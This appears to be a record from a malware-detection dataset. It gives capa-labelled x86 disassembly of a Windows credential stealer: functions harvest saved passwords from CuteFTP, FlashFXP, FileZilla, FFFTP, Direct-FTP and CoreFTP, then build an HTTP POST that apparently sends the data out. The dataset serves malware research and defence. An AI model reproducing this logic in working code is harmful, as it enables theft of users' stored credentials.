joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403889
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.004037b7
or eax, eax
je 0x40390a
push 0x5a
push dword [ebp + 8]
call fcn.004037b7
or eax, eax
jne 0x4038b3
jmp 0x40390a
cmp dword [ebp + 0x10], 0x800
jbe 0x4038c3
mov eax, 0x800
jmp 0x4038c6
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x4038de
jmp 0x40390a
jne 0x4038e3
inc ebx
jmp 0x40390a
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403906
inc ebx
jmp 0x40390a
test ebx, ebx
je 0x4038a3
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403ae6
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x1e
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403b14
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push ebx
mov dword [ebp - 0x54], 0
xor ebx, ebx
push 0x1000
call fcn.004017d4
mov dword [ebp - 0x40], eax
push 0x1000
call fcn.004017d4
mov dword [ebp - 0x48], eax
push 0x1000
call fcn.004017d4
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x40]
pop dword [ebp - 0x2c]
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403b96
cmp dword [ebp - 0x2c], 0
jne 0x403b9b
jmp 0x403c98
mov dword [ebp - 0x50], 0xfff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x3c]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403bc0
jmp 0x403c98
mov eax, dword [ebp - 0x48]
mov byte [eax], 0
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403c07
cmp dword [ebp - 0x2c], 0
jne 0x403c0c
jmp 0x403c98
push dword [ebp + 0x10]
push dword [ebp - 0x40]
push dword [ebp - 0x48]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nContent_Length:__lu_r_nConnection:_close_r_nContent_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x40]
call fcn.004036e7
or eax, eax
jne 0x403c3a
jmp 0x403c98
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.00403ae6
push dword [ebp - 0x44]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
call fcn.0040376b
or eax, eax
jne 0x403c5f
jmp 0x403c90
cmp dword [ebp + 0x10], 0
je 0x403c79
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x4c]
call fcn.0040376b
or eax, eax
jne 0x403c79
jmp 0x403c90
mov ebx, eax
or ebx, ebx
je 0x403c90
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call fcn.0040395f
mov ebx, eax
push dword [ebp - 0x4c]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x40]
call fcn.004017bd
push dword [ebp - 0x44]
call fcn.004017bd
push dword [ebp - 0x48]
call fcn.004017bd
cmp dword [ebp - 0x54], 0
je 0x403cbe
push dword [ebp - 0x54]
call fcn.004017bd
mov eax, ebx
pop ebx
pop edi
leave
ret 0x10

Function at 0x403d2a
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x18e]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
leave
ret
Function at 0x403ed5
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x403ef4
cmp byte [eax], 0
jne 0x403ef9
jmp 0x404071
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x403f14
push str..
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x403f21
push 0x414ec1
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404071
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x403fec
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x403f80
jmp 0x40404c
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x403f9d
jmp 0x40404c
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x403fb8
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x403fc2
push 0
push dword [ebp + 0xc]
call fcn.00401cfd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d51
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00403ed5
call fcn.004017bd
jmp 0x40404c
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x403ffd
jmp 0x40400f
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40404c
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
cmp dword [ebp + 0x18], 0
je 0x40403b
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x404047
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00403d9b
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x403f57
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 0x14
Function at 0x40453c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404646
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x404599
jmp 0x40463e
cmp dword [ebp - 0x814], 1
je 0x4045b0
cmp dword [ebp - 0x814], 7
je 0x4045b0
inc dword [ebp - 8]
jmp 0x404566
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404636
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x404636
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.0040146e
cmp dword [ebp - 0x814], 1
jne 0x40460d
push 0
push dword [ebp + 8]
call fcn.0040146e
jmp 0x404617
push 1
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004014a4
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x404566
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x40464a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4047c0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4046a2
jmp 0x4047b8
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415014
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x41501d
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415026
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404776
cmp dword [ebp - 0x814], 0
je 0x404776
cmp dword [ebp - 0x818], 0
je 0x404776
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040464a
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x404674
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x404ba2
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404bc1
cmp byte [eax], 0
jne 0x404bc6
jmp 0x404d1f
push dword [ebp + 0xc]
call fcn.004024ae
or eax, eax
jne 0x404be1
push str..
push dword [ebp + 0xc]
call fcn.00401cfd
jmp 0x404bee
push 0x414ec1
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404d1f
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404c97
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404c49
jmp 0x404cfa
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404c66
jmp 0x404cfa
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d51
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404ba2
call fcn.004017bd
jmp 0x404cfa
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4150ca
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404cfa
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404ce2
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404ce7
mov eax, 1
pop edx
or eax, eax
je 0x404cf5
push edx
push dword [ebp + 8]
call fcn.00404b8b
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404c24
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 0xc
Function at 0x404f12
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404f31
cmp byte [eax], 0
jne 0x404f36
jmp 0x40503a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
push eax
push dword [ebp + 8]
call fcn.00404eb1
call fcn.004017bd
push str..
push dword [ebp + 0xc]
call fcn.00401cfd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004017eb
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40503a
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x405015
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb7
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404fbb
jmp 0x405015
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414eb9
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404fd5
jmp 0x405015
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push dword [ebp - 0x14c]
push eax
call fcn.00401d51
push dword [ebp + 0x10]
push eax
call fcn.00401d51
push eax
push eax
push dword [ebp + 8]
call fcn.00404eb1
call fcn.004017bd
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404f93
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004017bd
leave
ret 0xc

Function at 0x405049
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401db6
mov dword [ebp - 4], eax
or eax, eax
je 0x4050ee
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401cfd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404f12
call fcn.004017bd
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401cfd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404f12
call fcn.004017bd
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401cfd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404f12
call fcn.004017bd
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401cfd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404f12
call fcn.004017bd
push dword [ebp - 4]
call fcn.004017bd
leave
ret 8

Function at 0x4051f7
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401c76
or eax, eax
je 0x40526d
mov dword [ebp - 4], eax
push str.Sites.dat
push dword [ebp - 4]
call fcn.00401cfd
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004051d4
push str.Quick.dat
push dword [ebp - 4]
call fcn.00401cfd
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004051d4
push 0x4152f7
push dword [ebp - 4]
call fcn.00401cfd
push 0xbeef0002
push eax
push dword [ebp + 8]
call fcn.004051d4
push dword [ebp - 4]
call fcn.004017bd
leave
ret 0x10
Function at 0x4052bc
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401db6
or eax, eax
je 0x405318
mov dword [ebp - 4], eax
push 0xbeef0000
push str.Sites.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405271
push 0xbeef0001
push str.Quick.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405271
push 0xbeef0002
push 0x4152f7
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405271
push dword [ebp - 4]
call fcn.004017bd
leave
ret 8

Function at 0x4056d3
Capabilities:
Gather filezilla information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push 0xbeef0013
push str.Server_Type
push 0x4153a7
push 0x4153a2
push 0x415398
push 0x415393
push 0x41539d
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405573
push 0xbeef0013
push 0x4153f3
push 0x4153ee
push str.Server.Port
push str.Server.User
push str.Server.Host
push str.Server.Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405573
push 0xbeef0014
push str.Last_Server_Type
push str.Last_Server_Path
push str.Last_Server_Port
push str.Last_Server_User
push str.Last_Server_Host
push str.Last_Server_Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405573
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4057f6
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4057ae
jmp 0x4057ee
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004056d3
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x405783
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x405c7b
Capabilities:
Gather ffftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x405e76
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x405cd3
jmp 0x405e6e
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x415659
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push str.HostAdrs
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415662
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDir
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x41567e
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x405dad
cmp dword [ebp - 0x828], 4
jne 0x405dad
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004017bd
jmp 0x405dc1
or eax, eax
je 0x405db7
push eax
call fcn.004017bd
mov dword [ebp - 0x824], 0x15
cmp dword [ebp - 0x81c], 0
je 0x405e2f
cmp dword [ebp - 0x814], 0
je 0x405e2f
cmp dword [ebp - 0x818], 0
je 0x405e2f
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x405ca5
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x405f13
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4060f7
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x405f6b
jmp 0x4060ef
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cfd
mov dword [ebp - 0x810], eax
call fcn.004017bd
push 0
push 0x41569a
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x415683
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x41568c
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x820], eax
push 0
push 0x415691
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.HostDirName
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
je 0x406097
cmp dword [ebp - 0x814], 0
je 0x406097
cmp dword [ebp - 0x818], 0
je 0x406097
push 0xbeef0000
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x824]
call fcn.004017bd
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00405f13
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x405f3d
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40612c
Capabilities:
Gather coreftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414838]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406389
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406184
jmp 0x406381
push 0x414814
push dword [ebp + 0xc]
call fcn.00401cfd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d51
mov dword [ebp - 0x810], eax
push 0
push 0x41570b
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x81c], eax
push 0
push 0x4156fc
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x814], eax
push 0
push 0x415701
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x818], eax
push 0
push str.PthR
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x82c]
push eax
push 0x415706
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
or eax, eax
je 0x406258
cmp dword [ebp - 0x82c], 4
jne 0x406258
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004017bd
jmp 0x40626c
or eax, eax
je 0x406262
push eax
call fcn.004017bd
mov dword [ebp - 0x824], 0x15
lea eax, [ebp - 0x830]
push eax
push 0x415713
push dword [ebp - 0x810]
push dword [0x414838]
call fcn.00401c76
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x81c], 0
je 0x406337
cmp dword [ebp - 0x814], 0
je 0x406337
cmp dword [ebp - 0x818], 0
je 0x406337
push 0xbeef0010
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004014d0
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014d0
cmp dword [ebp - 0x828], 0
je 0x40632d
cmp dword [ebp - 0x830], 4
jne 0x40632d
mov eax, dword [ebp - 0x828]
push dword [eax]
push dword [ebp + 8]
call fcn.0040146e
jmp 0x406337
push 0
push dword [ebp + 8]
call fcn.0040146e
push dword [ebp - 0x81c]
call fcn.004017bd
push dword [ebp - 0x814]
call fcn.004017bd
push dword [ebp - 0x818]
call fcn.004017bd
push dword [ebp - 0x820]
call fcn.004017bd
push dword [ebp - 0x828]
call fcn.004017bd
push dword [ebp - 0x810]
call fcn.004017bd
inc dword [ebp - 8]
jmp 0x406156
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8